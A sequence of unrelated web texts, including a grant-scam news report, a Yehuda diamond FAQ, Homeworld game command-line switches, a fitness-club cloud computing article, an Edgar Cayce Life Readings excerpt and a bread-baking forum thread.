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Welcome to St. Mary's Special Needs Ministry!
Sacramental Prep: Children in second grade will receive instruction for the sacraments of Reconciliation, First Eucharist and Confirmation on Monday, Tuesday and Wednesday evenings from 6:30 to 8:30. Individual 30 minute schedules will be sent to each student. The classes are held in the Youth/Education Center (building is to the left when standing facing the church).
Bible Camp: Our regular CCD program for children and adults with special needs ( will take place during our one week summer bible camp. The dates for the 2016 bible camp are: Monday, August 22, 2016 to Friday, August 26, 2016.
There are two sessions-one morning session (9:00 –11:30) and one afternoon session (1:00 – 3:30). Parents may choose whichever session is most convenient.The camp is held in the Carnevale Center.


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JACKSONVILLE, Fla. – There's a new scam that is targeting a new group of consumers: teenagers getting ready for college.
Clay County High School student Matthew Mitchell said he got a big offer for a lot of grant money for college, but he was suspicious about the phone call.
"He said you have to go to Western Union and send me $260. I knew then and there, there's no way," said Mitchell's mom, Dana. "Free grant money, but you've gotta pay money to get money? I said no, that's a scam."
The unsolicited call offered Mitchell $7,000 for college, but when Mitchell and his mom heard that there was a fee attached, they knew something was up
Channel 4 and the Mitchell's called the scammers back Friday night.
"Thank you for calling grant department, this is Jeffer, how can I help you?" said the man on the other line.
"I think what's going on is a scam," said Mitchell.
"Mister, it's not a game all right," said the man.
The man who says he's "Jeffer" got angry at Matthew for challenging him on the phone.
"This is not a job," said the scammer. "You're playing with the government."
"Which government are you with, 'Jeffer?'" asked Channel 4's Kent Justice.
"Who the f*** I'm talking with?" said the scammer.
Channel 4's Kent Justice explained to the man on the other line who he was, but the man could not prove that he was part of a legitimate business.
Many colleges offer advice for students to avoid a scholarship or financial aid scam. No college has a fee attached to receiving financial aid or a grant.
Colleges warn that the biggest sign of a scam is if there is a request for banking information over the phone and if someone is claiming that you applied for aid when you did not.


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Another loss hasn't made Pierre Garçon any more reluctant to share his thoughts about the health of quarterback Robert Griffin III.
Garçon said last week that Griffin can't run as fast as he did in 2012 as a result of his offseason knee surgery and the brace that he now wears to protect it from further harm. Griffin responded by saying that there was no knee issue and said he'd race Garçon to prove it. Garçon stuck to his guns last week and nothing that happened Sunday swayed him from his view.
"He's not fully healthy, obviously," Garçon said Monday, via Mark Maske of the Washington Post. "He's running a little bit more. But last year's RGIII was a lot different from this year's RG because of his knee. It's not surprising. We've been talking about it the whole offseason. It's the same question every day on Monday. We can find something else to talk about."
Griffin played better in Week Three than in the first two weeks, but still had two costly turnovers in a 27-20 loss to the Lions. Until the Redskins start winning some games, there's little doubt that Garçon's going to be wrong about that last point.


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The Yehuda Diamond Lifetime Guarantee
Your Yehuda Diamond is a natural diamond from deep in the heart of the earth which has been technologically enhanced to become as brilliant, clear and beautiful as modern science can make it. The only things likely to compromise the integrity of your diamond's enhancement are the flame of a torch or strong acids and bases. In the unlikely event your Yehuda diamond should lose its enhancement, Yehuda will gladly restore the enhancement of your diamond at no charge.
No questions asked.
With each diamond sold, Yehuda provides a unique business card-sized Card, which when played on a standard PC, describes the Lifetime Guarantee.
Be sure you receive the Yehuda Lifetime Guarantee Card with every purchase of a
Yehuda Clarity-Enhanced Diamond.
The lifetime guarantee safeguards your purchase and ensures that you have purchased a genuine Yehuda Diamond, not an inferior imitation.
Every Yehuda Enhanced Natural Diamond has a built-in signature "flash effect". Easily seen under normal 10X magnification, the flash effect appears as a line of vivid color at the location of the enhancement.
The flash is usually purple or green in color. When jewelers see the flash, they can easily identify the precious stone as a Yehuda Diamond and take the proper precautions of not submitting the stone to the jeweler's torch or strong acids or bases - the only things that may affect the enhancement.
Watch out for inferior enhancements that are now on the market. It's clear that Not All Treatments Are Created Equal. The Gemological Institute of America (GIA), in analyzing Yehuda's competitors, concluded that these imitation processes cause the diamond to darken, or turn grey, under sunlight and ultra-violet light.
Be sure you receive the Yehuda Lifetime Guarantee Card with every purchase of a Yehuda Enhanced Natural Diamond. The lifetime guarantee safeguards your purchase and ensures that you have purchased a genuine Yehuda Diamond, not an inferior imitation.
Your Yehuda Diamond is a natural diamond from deep within the heart of the earth which has been clarity enhanced to become as brilliant, clear and beautiful as modern science can make it. The only things likely to compromise the integrity of your diamond's enhancement are the flame of a torch or strong acids and bases. In the unlikely event your Yehuda Enhanced Natural Diamond may lose its enhancement, Yehuda will gladly restore the enhancement of your diamond at no charge. No questions asked.
With every diamond sold, Yehuda provides a unique business card which describes the Lifetime Guarantee policy.
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Wear it and enjoy it just as you would any other diamond. In fact, The Gemological Institute of America (GIA) confirms that the Yehuda process is stable under normal wear and tear.
Please treat your Yehuda Diamond like you treat any other gemstone that is in your possession. (i.e. green emeralds, rubies, topaz, etc.) That means the best way to clean it is with water and soap or non-Ammonia jewelry cleaner. All jewelry cleaners that are good for pearls (pearl cleaners are provided by all companies), will be usually best for our product. Please make sure to always follow the instructions provided by the jewelry cleaner's manufacturer.
At the jeweler's bench, ultrasonic cleaning, steam cleaning or boiling water and soaps will not affect the enhancement. Only the direct heat of a torch or strong acids or ammonia bases can damage the treatment.
Remember, in the rare case that a goldsmith makes a mistake and heats up the diamond to 1000° F, the enhancement may be reversed. Yehuda gives you an unconditional Lifetime Guarantee.
Yes, Yehuda diamonds are natural diamonds. They're dug from the same mines as any other diamonds. We simply take the stones with small, visible imperfections and make those imperfections invisible.
It is our proprietary process that takes a diamond with a visible imperfection and makes the imperfection invisible to the naked eye. The imperfection remains in the diamond but it can no longer be seen. A more technical explanation would be the following:
During the Yehuda clarity enhancement process we insert a microscopic amount of material into the part of the diamond that contains a feather. This material has the same optical properties as the diamond itself. When light travels from one medium to another, it either changes its course or reflects in a different direction. When light attempts to pass through a non-enhanced diamond that has a feather, the light hits the feather and reflects off in any number of directions. That is why we see the feather, and the diamond doesn't appear to be clean. With a Yehuda diamond, the light passes through the natural feather because the material used for the enhancement has the same optical characteristics as the diamond. The beam of light "thinks" it's still traveling through the same material (diamond) and continues its original course.
Zvi Yehuda invented the Yehuda clarity enhancement process in 1982. It is considered by many to be the biggest technological breakthrough in the history of the diamond industry.
No. Clarity enhancement is not visible to the naked eye. Only a trained jeweler with the aid of 10x magnification can detect the enhancement. Furthermore, the GIA found no change in the weight of the diamond from before and after the enhancement. The material used for the enhancement is on the molecular level and cannot be measured.
The GIA determined the enhancement to be completely stable under normal wear and tear. The only two things that could damage the enhancement would be holding the diamond over an open flame or submerging it in strong acids and bases. Nevertheless, our lifetime guarantee assures you that the enhancement would be restored at no charge. For the record, we've monitored test diamonds since the invention of the process in 1982, and no change whatsoever has ever been discerned.
The Yehuda family is extremely particular with whom it partners. We want to be completely sure that our jewelers are both honest and reputable. We typically choose one in each of our markets and that store becomes the authorized Yehuda Jeweler for the region.
Yehuda (YE HOO DA) is the family name of the Israeli diamond scientist who invented the clarity enhancement process for diamonds. Mr. Yehuda's reputation in the world of diamond science can be compared to that of Bill Gates in the computer software industry.
Not every diamond can be clarity enhanced because only specific flaws can be fixed. Actually only one out of every 500 diamonds is a candidate for clarity enhancement.
Yes, virtually every gemstone in every jewelry store has been enhanced in some fashion. Emeralds are oiled, Topaz is radiated, Sapphires are heated, Pearls are bleached, etc.
For more information on gemstone treatments please visit the AGTA web site.
Boiling acids or open flames may reverse the enhancement process. In the extremely unlikely event your diamond should ever require re-enhancement, Yehuda Diamond Co. will be glad to re-enhance your diamond at no charge and with no questions asked. Every Yehuda diamond comes with a lifetime guarantee card. The Yehuda clarity enhancement is the only process proved by the GIA to be stable under normal wear and tear.
The Yehuda diamond costs less because we buy a diamond with a visible imperfection and render it invisible. Since it costs us less than a clean diamond, we are able to sell it to you at a lower price than a non-enhanced diamond that looks the same.
A trained jeweler can tell if a diamond has been clarity enhanced by studying the diamond under magnification. It is hard to detect the enhancement without 10X magnification.
A Yehuda diamond is like any other diamond from the market price point of view. The price of all diamonds is determined by offer and demand.
Yes. All Yehuda loose diamonds are certified by the Global Gemological Laboratory (GGL). When you search for a loose diamond on our site, you will have the opportunity to view the certificate that accompanies that stone.
Laser inscription is the process that inscribes the girdle of the diamond (the middle area of the stone) and it is done with a microscopic laser beam. Anything can be inscribed on the girdle, from an identification number to a name or phrase. A trained jeweler, with the aid of the loupe (magnifying glass) will be able to read the inscription. Usually, brand name diamonds will carry their name or logo on the girdle. All of our Yehuda certified diamonds are inscribed with their certificate number and "YEHUDA" as shown below:
The laser drilling process was invented by Zvi Yehuda in 1965. Some diamonds contain natural black inclusions that are visible to the naked eye. In the laser drilling process a microscopic laser beam is used to drill into the diamond in order to reach the black inclusion. The diamond is boiled in strong acids that clean out the inclusion. After the procedure the black inclusion becomes clear, thus, less noticeable to the naked eye. The process is irreversible and completely stable. The laser drilled diamond should be cared for in the same manner as a non laser drilled diamond. By law, the fact that a diamond has been laser drilled has to be disclosed at every level of sale.
No, Most stones have feathers that reach the surface of the diamond and can be enhanced without laser drilling. Laser drilling is not usually a step in our process. Approximately 85-90% of Yehuda Diamonds are not drilled at all.
If you are not completely satisfied with your purchase, you may return any diamond or piece of jewelry you purchase through Yehuda within 30 days for a full refund.
Yes, however please bear in mind that on average only 1 out of every 500 diamonds is suitable for the enhancement process. The way to send your diamond to Yehuda is via a local Yehuda retailer in your area. The charge for enhancement will be $300 dollars per carat plus shipping and insurance. The retailer will be the one to send your diamond to Yehuda and get it back. The usual turnaround time is 2 weeks but may be more on occasion.
The enhancement process involves high pressure and high temperature and the diamond may be damaged during the process. The Yehuda Diamond Company is not responsible for any damage to the diamond. You will have to sign a release form that states the fact that the diamond may be damaged and that we are not responsible for the damages. Please do not raise your hopes about the success of the enhancement as the chances that your diamond is suitable for the enhancement process are very slim.


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Unincorporated associations are not regarded as legal entities by law even though their members may regard them as independent organisations. They are really only a collection of people acting together. This is the most obvious difference between unincorporated and incorporated organisations.
Members of an unincorporated association are, subject to the powers of the association's constitution, capable of entering into contracts and doing things on behalf of other people in the association. They are also individually and personally responsible for any debts incurred in the name of the association. Where a contract is signed on behalf of an unincorporated association, the individual members are responsible and may be sued. Similarly, if someone is injured through an unincorporated association's negligence and there is no insurance, the association cannot be sued but individual members may be sued. For the importance of insurance for community organisations, whether unincorporated or incorporated, ss Insurance.
As an unincorporated association has no legal identity, it cannot hold assets in its own name. It must appoint individuals as trustees, who own the assets but hold them for the benefit of the association. The trustees are bound by the Trustee Act 1936 (SA).
Many community organisations rely on grants to operate. It is a requirement of many funding programs that the organisation seeking funding must be incorporated.
It is an offence punishable by a fine of up to $5000 for a person falsely to represent that a body is an incorporated association under the Associations Incorporation Act 1985 (SA) in order to gain an advantage for herself or himself or any other person [s 60].


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Many fitness facility owners, managers and staff members appear to be walking around with their heads in the clouds these days. That is where club member data is going, as health clubs increasingly turn to Internet cloud-based computing systems to do everything from manage billing systems to boost membership and promote club services.
Indeed, cloud-based computing, popularized in large part the past few years by companies such as Apple, Google and Microsoft, puts both data and applications off-site, allowing a club to access all its data and programs via a growing number of devices (laptops, smartphones, tablets) and from any location with Internet access.
"Long gone are the days of being stuck in the back office or tied to the front desk," says Rachelle Dodge, marketing manager for ASF International, a Denver-based fitness software company. "The cloud has made it possible to work from home, the coffee shop, the studio floor or anywhere you have Internet access."
Advantages to cloud computing are numerous, says Kyle Zagrodzky, president of iGo Figure Software, Houston. Cloud-based systems, he says, are faster to install, cheaper to maintain and update, let companies roll out new features more quickly, are generally warmly embraced by users (who now have 24/7 access to their personal member data) and promote the club as forward-thinking and member-focused.
Frank Piringer, a marketing implementation manager for fitness software provider EZ Facility, Bethpage, NY, lists some of the ways fitness club activities are opened up using cloud-based computing. Trainers, he says, can schedule and run a boot camp or class outside the facility—on a beach or in a local park— and use a smartphone to register users, take attendance and send data directly to the home club. Companies with multiple facilities can seamlessly offer services and let users schedule classes at multiple locations using a single interface. Clubs can use cloud-based systems to broadcast photos of their clubs, news of events or special offers, send invoices or billing statements and allow customers to log in any time, day or night, to search for club information.
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Cloud-based systems also let users store and access workout data that can be sent from a piece of cardio equipment to a smartphone or tablet. Members can store workout goals, chart progress through a series of classes or personal training sessions and use cloud-based systems to schedule, reschedule or cancel appointments. Ties to Facebook and Twitter accounts help the club spread the word on member preferences and recommendations.
Andy Wigderson, vice president of sales and marketing for Houston-based fitness software vendor CSI Software, says these types of interactions are "systems of engagement," made possible by cloud-based services, as opposed to static data residing within a specific club or location that must be parsed and broadcast from that one location or database to members. Given the ease of scalability and the cost-efficient nature of cloud-based computing, Wigderson suggests all facilities, both large and small, will continue to move to the cloud now and in the future.
"We are at the point where we are pretty much only offering the cloud," Wigderson says.
Even some equipment manufacturers have gone to the cloud. Technogym, Cesena, Italy, for example, offers its mywellness apps as cloud-based programs. The cloud-based systems are used for the member experience but also for the asset management system for club operators. Precor's Preva system, which is an entertainment system for members and an asset management system for club owners, also is cloud-based.
Piringer sees the growth of cloud-based computing among fitness clubs as inevitable and inexorable.
"We are seeing a lot of facilities embracing this concept," he says. "Most of the holdouts are from companies that are technology-impaired anyway. When they are asked to adopt the new platform, it is not the cloud itself they are resisting but rather resistance to new technology directions. The main benefit is that you don't have to manage your IT infrastructure. It frees you up from having to learn about what the next different version of Windows is."
Zagrodzky says that the only potential drawbacks to cloud-based computing are concerns about data security and the potential for Internet outages.
Pay Attention to Security
"You still have to pay attention to security," he warns. "You probably want to have profile-based security, where a trainer has access to the schedule but not to the rest of the customer's records. You will have some employees who will have higher-level access. You still need strategies like forced changing of passwords. Security can be tight within the system, but you will still want to think about access security at your club."
Regarding data security, Zagrodzky argues that cloud-based data and services can be seen as more secure than hosted, on-site data and services.
"Data encryption, security permission levels and tokenizing payment processing will put most facilities on solid ground," Zagrodzky says. "More and more people are handling day-to-day personal and business activities in the cloud. It is most certainly the primary way business will be handled from now on."
In the case of outages, he says, the proliferation of devices, such as smartphones and mobile hot spots, means localized Internet outages can often be addressed by simply moving to a new location or using a different network or device.
Sean Kirby, who recently was promoted from national sales director to vice president of client relations at ASF International, offers another cloud benefit.
"An important factor for all owners is that cloud-based computing offers data that is mirrored, backed up, stored offsite and encrypted," he says.
Wigderson perhaps sums it up best.
"We don't really know where the cloud is going, but we know it is going somewhere positive," he says. "It is like the beginning of the Internet. There seems to be some great potential and great opportunities."


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Start the game with one of the following command-line switches to activate corresponding action:
IE: c:homeworldhomeworld.exe /debug
/debug - Enable debug window.
/nodebugInt - Fatal errors don't genereate an int 3 before exiting.
/heap - Sets size of global memory heap to [n].
/prepath - Sets path to search for opening files.
/CDpath - Sets path to CD-ROM in case of ambiguity.
/freemouse - Mouse free to move about entire screen at startup. Use F11 to toggle during play.
/ignoreBigfiles - don't use anything from bigfile(s)
/logFileLoads - create log of data files loaded
/disableKatmai - don't use KNI even if support is detected.
/forceKatmai - force usage of KNI even if determined to be unavailable.
/noSound - turn all sound effects off.
/noSpeech - turn all speech off.
/reverseStereo - swap the left and right audio channels.
/waveout - forces mixer to write to Waveout even if a DirectSound supported object is available.
/dsound - forces mixer to write to DirectSound driver, even if driver reports not certified.
/noBG - disable display of galaxy backgrounds.
/noFilter - disable bi-linear filtering of textures.
/noSmooth - do not use polygon smoothing.
/nilTexture - don't ever load textures at all.
/NoFETextures - turns off front end textures
/stipple - enable stipple alpha (software renderer).
/noShowDamage - Disables showing ship damage effects.
/sw - reset rendering system to defaults at startup.
/fullscreen - display fullscreen with software renderer (default).
/window - display in a window.
/noBorder - no border on window.
/640 - run at 640x480 resolution (default).
/800 - run at 800x600 resolution.
/1024 - run at 1024x768 resolution.
/1280 - run at 1280x1024 resolution.
/1600 - run at 1600x1200 resolution.
/d16 - run in 16 bits of colour.
/d24 - run in 24 bits of colour.
/d32 - run in 32 bits of colour.
/truecolor - try 24bit modes before 15/16bit.
/slowBlits - use slow screen blits if the default is buggy.
/device - select an rGL device by name, eg. sw, fx, d3d.
/gl - select default OpenGL as renderer.
/d3d - select Direct3D as renderer.
/nohint - disable usage of OpenGL perspective correction hints.
/noPause - don't pause when you alt-tab.
/noMinimize - don't minimize when you alt-tab.
/noCompPlayer - disable default computer players
/notactics - Disables tactics.
/noretreat - disables the 'retreat' feature of tactics
/dockLines - show dock lines.
/gunLines - show gun lines.
/lightLines - show light lines (Debug only).
/boxes - render bounding bowties on the ships.
/textFeedback - enable text feedback for in game commands.
COMPUTER PLAYER AND STATS /aiplayerLog - enable AI Player Logging
/determCompPlayer - makes computer players deterministic
/gatherStats- enable gathering of stats
/showStatsFight= to show stats fight i,j
/captaincyLogOff - turns off captaincy log file
/captaincyLogOn - turns on captaincy log file
/logOff - turns of network logging file
/logOn - turns network logging file on
/logOnVerbose - turns verbose network logging file on
/statLogOn - generates game stats log file
/intOnSync - Generates an Int 3 when a sync error occurs
/syncDump=! X = size of SyncDumpWindow Y = granularity in universe Frames
/debugSync autosaves game frequently, records packets, logonverbose
/forceLAN - allow LAN play regardless of version
/testNIS - enables NIS testing mode using [nisFile].
/testNISScript - enables NIS testing mode using [ scriptFile ].
/demoRecord - record a demo.
/demoPlay - play a demo.
/packetRecord - record packets of this multiplayer game
/packetPlay - play back packet recording
/disablePacking - don't use the packed textures if available.
/smCentreCamera - centres the SM world plane about 0,0,0 rather than the camera.
/closeCaptioned - close captioned for the hearing impaired.
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At the inaugural CivicMakers Salon event, civic tech advocates begin collaborative talks in San Francisco.
San Francisco is making a collaborative effort toward civic tech in the city, as marked by a first-of-its-kind meeting on Tuesday, June 24, of 125-plus attendees, including civic tech startups, officials and companies.
Situated next to Twitter headquarters and housed in the San Francisco-based Runway Incubator, the informal get together was named the Inaugural CivicMakers Salon and organized by CivicMakers, a new group dedicated to improving democracy through innovative civic technology.
The purpose of the night — coordinated by Brian Purchia, the former spokesman for the San Francisco Mayor's Office, and CivicMaker Founder Lawrence Grodeska, who also is director of the online petition platform Change.org — mirrored the group's mission: gathering creative, passionate people to answer the questions, "What does real democracy look like, and how can technology help us get there?" And the lineup of civic tech players briefed gatherers on exactly that.
Among the list of speakers were San Francisco's Chief Innovation Officer Jay Nath, Accela Marketing Director Allen Chen, Long Distance Voter platform Founder Debra Cleaver and Milicent Johnson from Peers, a peer-to-peer sharing advocacy group. Political candidates even took to the mic to pledge support for government tech initiatives. They included San Francisco' s District 3 Supervisor David Chiu, running for California's 17th Assembly District, and Christina Gagnier, running for California's 35th Congressional District.
"So much of why we're here tonight is to honor the work that we're all doing within the confines of the current system [in government], and to optimize that and continue to deliver better services," Grodeska said.
Why Attend?
Following the inaugural CivicMakers Salon event, attendees listed reasons for going on an online comment board.
Comments ranged from "Meet people who work on civic projects," to cultivating broader conversation, to the humorous "Free beer! And smart people."
Elaborating on his motivations, Grodeska said his desire to establish CivicMakers — which promotes similar civic tech get-togethers — was to establish another outlet for the burgeoning movement to create dialogue and collaborate. Technology will inevitably change the processes of democratic government, he said, and shaping this eventuality — government services, legislation and management — required a proactive discussion from the tech community.
Describing city civic tech initiatives, Nath highlighted San Francisco's current Entrepreneurship-in-Residence Program that started March 24 with six tech startups and will finish by the end of July. The program is a pilot that connects city departments with technologists. The goal is to leverage the industry's entrepreneurial creativity for tools and services that benefit departments.
"We as a government have all these challenges," Nath said, "and we need their thinking in how to look at these challenges to catalyze a new [civic tech] ecosystem."
Additionally, he listed previous efforts such as the hiring of Joy Bonaguro, the city's first digital innovation officer tasked with promoting open data initiatives, and a one-year fellowship program that inserts technologists inside municipal operations.
Representing the booming peer-to-peer sharing startups, Johnson spoke of Peers' progress at jumpstarting communications between regulators and private peer-to-peer companies. During the highly contentious dispute last year between peer-to-peer transportation services — such as Lyft and Uber — and the California Public Utilities Commission (PUC), Peers was part of a campaign to propel tech proponents to speak with PUC officials.
The result of the dialogue, Johnson said, aided officials to formally allow the peer-to-peer transportation services. "If you just put tools in people's hands and give them a platform to amplify their voices and connect with other people," she said, "incredible and beautiful things will happen."
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GREENSBORO, NC—Warp, weave. Thieve and lie. Hearts that beat—and break. Fiction is action, and a good story demands a writer's best verbs. Need proof? Just check out the titles of the fiction course offerings at the upcoming North Carolina Writers' Network 2014 Spring Conference on Saturday, April 12, at UNCG.
Nancy Peacock, author of the novel The Life & Times of Persimmon Wilson, will lead the Two-Part Fiction Workshop. The title? "The Warp and Wave of Fiction."
Two-part workshops meet twice during the conference, once during Workshop Session I (in the morning) and again for Workshop Session II (in the afternoon). Peacock, whose first novel Life Without Water was chosen as a New York Times Notable Book, says about her course:
Writing good fiction is not the same as laying a brick wall: first the characterization brick, then the setting brick, then the action brick. Instead, all the elements (character, plot, setting, action, structure, description, emotion, and more) must work together to form the tapestry of storytelling. In this class we will examine successful storytelling through reading and commenting on students' work and the work of published writers, as well as through class exercises.
In addition Drew Perry will lead a fiction workshop titled "Thieves & Liars: How We Build the World."
This workshop will address something critical to the crafting of stories and novels: When and how to steal from the world around us (hint: early and often), and when to make things up (another hint: when the story demands it). Registrants will talk about how things like landscape, humor, oddity, and stray detail are often the most important ways of entering into a piece of work—and keeping it alive in draft after draft after draft. Another way of thinking about this: attendees will talk about how to use their own strange obsessions most productively in their writing. So someone really loves, say, tractors. Or tigers. And they keep appearing on the page. Registrants will find ways to make that feel less weird, and more like they're working.
Perry is the author of two novels: This Is Just Exactly Like You, which was a finalist for the Flaherty-Dunnan First Novel Prize from the Center for Fiction and an Atlanta Journal Best of the Year pick for 2010, and Kids These Days, just published by Algonquin Books. He teaches writing at Elon University and holds an MFA from the writing program at UNC-Greensboro.
In the afternoon session, Kim Church will lead a fiction workshop titled "The Beating, Breaking Hearts of Fictional Characters." Church's debut novel, Byrd (Dzanc Books, March 2014), is the fragmented family history of a child secretly given up for adoption.
The heart of fiction is character; but what is the heart of a fictional character? How is it revealed to the writer, and how does the writer express it? This workshop, for fiction writers at all levels, will focus on how to create characters that are unique, lively, and memorable—characters we might like to spend time with after the workshop is over. To prepare for this session, registrants should think of a memorable event from their own life—something that touched or scared or excited or confused or changed or defined them in some small way. Something they don't mind sharing with others, a moment they'd like to put in a time capsule. Attendees should not write about it beforehand, but come with an idea. And paper and pen.
Registration is now open. The nonprofit North Carolina Writers' Network is the state's oldest and largest literary arts services organization devoted to writers at all stages of development. For additional information, visit www.ncwriters.org.


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I often hear complaints from women that they
don't even know who they are anymore.
They've been married for ten or twenty years, raised children, had
careers, and somehow they've lost their core sense of self. They think the solution is to leave the
relationship to find their true selves.
What they are experiencing is emotional fusion,
and the cure lies in the process of differentiation. David Schnarch, in Passionate Marriage,
refers to the process of differentiation as a "process by which we become more
uniquely ourselves by maintaining ourselves in relationship with those we love."
Emotional fusion is often mistaken for
love. It is not; it is love's poor
step-sister. Emotional fusion occurs in
nearly every relationship to some degree.
Beginning with our family of origin, we are taught at an early age which
behaviors are acceptable and will result in our parents expressing their love
for us. We learn to mold ourselves into
the person our parents want us to be.
When we rebel, we are attempting to differentiate ourselves, which is
healthy and necessary for emotional growth.
Depending on the level of emotional fusion in your family of origin,
either those rebellious moments will be squelched completely, you will be
encouraged to express yourself in harmless ways, or something in between.
By the time we are old enough to engage in
romantic relationships, our individual sense of self has been fused to our role
within the family unit. We then bring
that reflected sense of self into the romantic relationship, carrying with us
all of the unexpressed parts of ourselves stuffed in the back of our emotional
closet. In rare cases, we emerge from
childhood with a strong individual sense of self. More frequently, we have a weak sense of self
and build upon that with each successive romantic relationship.
At some point, we rebel at this reflected
sense of self. Our souls deeply desire
to authentically express who we really are. This often happens with women in their 40's
and 50's who feel like they have to leave their relationship to find
themselves. This longing for authentic
expression becomes more painful than the sense of security, safety and fusion
(which we mistake for love) we get from remaining in the relationship.
The problem with leaving the relationship to
find yourself is this: you are still
enmeshed in an other-reflected sense of self.
What typically happens is that you leave the relationship and "fall in
love" again within six months. It's not
love; it's fusion. You become enmeshed
once more, but while in the honeymoon phase, you either don't notice the fusion
or don't care.
The only complete way to heal from emotional
fusion is this process of differentiation.
By definition, it means you remain in the relationship and use it as a
tool for identifying your sense of self.
In this method, you use the relationship to show you how you are fused
and unwind yourself from there. You look
at all the ways your partner irritates you to uncover what you make those
things mean about who you are as a person.
The problem with leaving your relationship
to heal from fusion is that eventually you'll want to be in another
relationship. Even if you commit to
remaining single and working with a coach or therapist for at least a year, some
of the wounds of fusion can only be healed while in a relationship. Theory will only take you so far; then you
have to practice it.
Differentiation is the process of learning
to love the unique person you are. Are
you ready to give it a try?


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A Study of Spiritual Evolution Part 1
By Hugh Lynn Cayce
(Note: The following is an excerpt of an article written in 1943 and included in the report document for reading 2265-1)
The first Life Reading was given in 1924, for a gentleman in Dayton, Ohio, who asked for a horoscope. The horoscope was given, but in it the statement was made that information of such character was not alone as helpful as data which would give an understanding of urges arising from experiences in past incarnations in the earth and correlating such urges with the present opportunities for spiritual development.
A series of such readings followed, first for those closely associated with the work of the Association. Gradually the interest in this type of reading has grown. To date over thirteen hundred first Life Readings have been given for individuals in all parts of the country.
A Life Reading is an analysis of your soul development. It is taken from the records of your soul's experience through many planes of consciousness. Its focus is upon the constructive urges in your present development. It is concerned with your everyday efforts to live in conformity with the spiritual laws of the universe. It is a survey of your nature concerned with the development of your character.
Life Readings hold that individuals are spiritual in essence, using physical bodies as temporary abodes and channels for expression. Each individual does not have a soul, he is a soul. Life Readings seek to help individuals recognize their place in the scheme of spiritual evolution and direct thought and action toward the highest possible development in the present life.
These principles are stated here as ideal purposes of Life Readings. As with all types of psychic information the Association holds that the only true test is in results from application of such information.
Each Life Reading first gives an outline of the major astrological urges. This is followed by a brief history of the more important past incarnations which affect the present cycle of the life. The inclinations and urges from these experiences are pointed out. Next, an analysis of the personality is given in the light of the attainments in spiritual development. Finally, suggestions are made respecting the expression of certain talents which will lead to the proper life's work or development of abilities that will give the individual greater opportunities for expression. At the end of each reading there is time for questions regarding any of the subjects mentioned.
The next most natural question is, "How is a Life Reading given?" This involves the equally important question, "Where does this information come from?" To answer these questions we must turn to a study of the phenomena as manifested through Edgar Cayce. Here, reduced to simple language, is the explanation of the "how" and "where" of Life Reading data as presented in the readings themselves.
In past incarnations, and through development on planes of consciousness between appearances on the earth, Edgar Cayce has acquired the mental ability which enables him to close all perception through physical consciousness. He suppresses the conscious mind and allows his superconscious or soul mind to receive the suggestions given him during the period of any reading.
This superconscious mind is not limited by time or space and is able to focus upon whatever source is necessary to secure the information desired. The range and clarity of this higher perception are governed, or influenced, by many factors, some of which are: the spiritual development of the individual through whom the information comes; the purpose of the seeking for the information; the desire of the one seeking the reading; the physical condition of the sensitive; the attitude of those present at the time the reading is given.
In securing a Life Reading an individual is asked to furnish the name given at birth, also the date and place of birth. From this it is evident that the birth becomes the first focus point.
It is interesting to note that, at the beginning of each Life Reading, Mr. Cayce reviews each year by repeating in a low voice the present date and each year backward to the date of birth. In many cases he has been known to comment on certain years in the following manners, "1900...quite a change," or "1898...a bad accident in this year." In some cases the remarks have been subject to check and have been found to be accurate. Following this enumeration of dates there is a pause and then the reading begins.
During a number of Life Readings Mr. Cayce has had dreams. (During Life Readings, as in the case of all readings given by him, Mr. Cayce is not conscious of anything that he says.) These dreams present in symbol form the experiences through which his superconscious mind passes in securing the information for the Life Readings.
This article will continue next week with Part 2 and include an overview of Mr. Cayce's experience accessing the Hall of Records.
Hugh Lynn Cayce (1907-1982) was the eldest son of Edgar Cayce and a leading thinker, author, and spokesperson for psychological and paranormal subjects. Before his death, Hugh Lynn served his father's Association for Research and Enlightenment, Inc. (A.R.E.), as chairman of the board. He was also author of the book Venture Inward, an examination of safe and unsafe methods of exploring personal psychic experiences and The Outer Limits of Edgar Cayce's Power which explores the relatively small number (200) of readings that appeared to be inaccurate. Visit EdgarCayce.org/radio to download podcasts of Hugh Lynn Cayce's lectures from the Archives.


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Egg White Salad English Muffin
Egg whites, cucumbers and low-fat yogurt! Breakfast just got exciting.
1 Thomas'® Light Multi-Grain English Muffin
3 large eggs
2 tbsp. Greek low-fat plain yogurt
1/4 tsp. dill
6 slices cucumber
2 slices tomato
Hard-boil the eggs. When done, separate and discard yolks. Place egg whites in a mixing bowl, finely chop, and then add the yogurt and dill. Mix all ingredients. Split and toast the English muffin. Top each half of English muffin with 3 thin slices of cucumber, a slice of tomato, and 1/2 of the egg salad mixture. Serve open-faced.


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Joined: 14 Oct 2005
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Location: Oakland, CA
Posted: Thu Dec 14, 2006 7:52 pm
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Sam tried a loaf last night. He used 1 C. bread flour, 1 C. semolina and 1 C. cornmeal and added some millet for crunch. He also added one tablesoon of olive oil AND one tablespoon of almond meal. It's very flat & dense, although the taste is excellent. We surmise that between the two new variables - oil & almond meal - there is too much fat and it might have smothered the yeast. So - lucky me
- this weekend he will try again with ONLY the olive oil.
Has anyone else tried putting oil in this recipe?
Another hint I have for folks - from observing Sam - is instead of flour to coat the bread, use a combo of grains. Sam uses oat bran and coarse ground corn meal and it does two things...it really separates it from the towel so there's no stickiness AND it has a little extra crunch on the crust that I LOVE!
It is so nice to have my own personal baker!
L'appetit vient en mangeant. -Rabelais
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Posted: Thu Dec 14, 2006 9:34 pm
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Donna- I was wondering how adding oil went. I don't know much about how fat affects dough. I mean I know it makes it richer and softer. But I don't know how yeast tolerates or interacts with it.
I make holiday breads that have egg yolk, sour cream, butter, etc. They rise. But they have a close texture and either need some support or only make mounded shapes.
I'll have to do some reading to see what I can learn about it. But probably not before Christmas.
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Location: Boulder, Colorado, USA
Posted: Fri Dec 15, 2006 12:40 am
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I was so excited when this recipe came out I made it within days of publication. The reason is becasue I've always hated making bread...because I've hated kneading...because I'm short and kitchen counters are too high to make kneading comfortable. I just can't put my body into it and get any leverage and I end with achey shoulders and neck. It's such an awful chore, and taking it to the lower coffee table only gets flour all over the living room. So, I was totally excited when my first loaf of bread in years came out marvelous! It was a tiny bit doughy, but in a good way and I loved it. I can't wait to read this thread more in depth for suggestions on variations. Tell all your vertically-challenged friends!
"Breathe deeply and attack life with gusto! Cook, serve, and eat, with the capacity to enjoy, to capture the mood of festivity, to savor conversation, and to appreciate company." -- From menu board at Poteger restaurant, Denver.
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Posted: Sat Dec 16, 2006 12:46 am
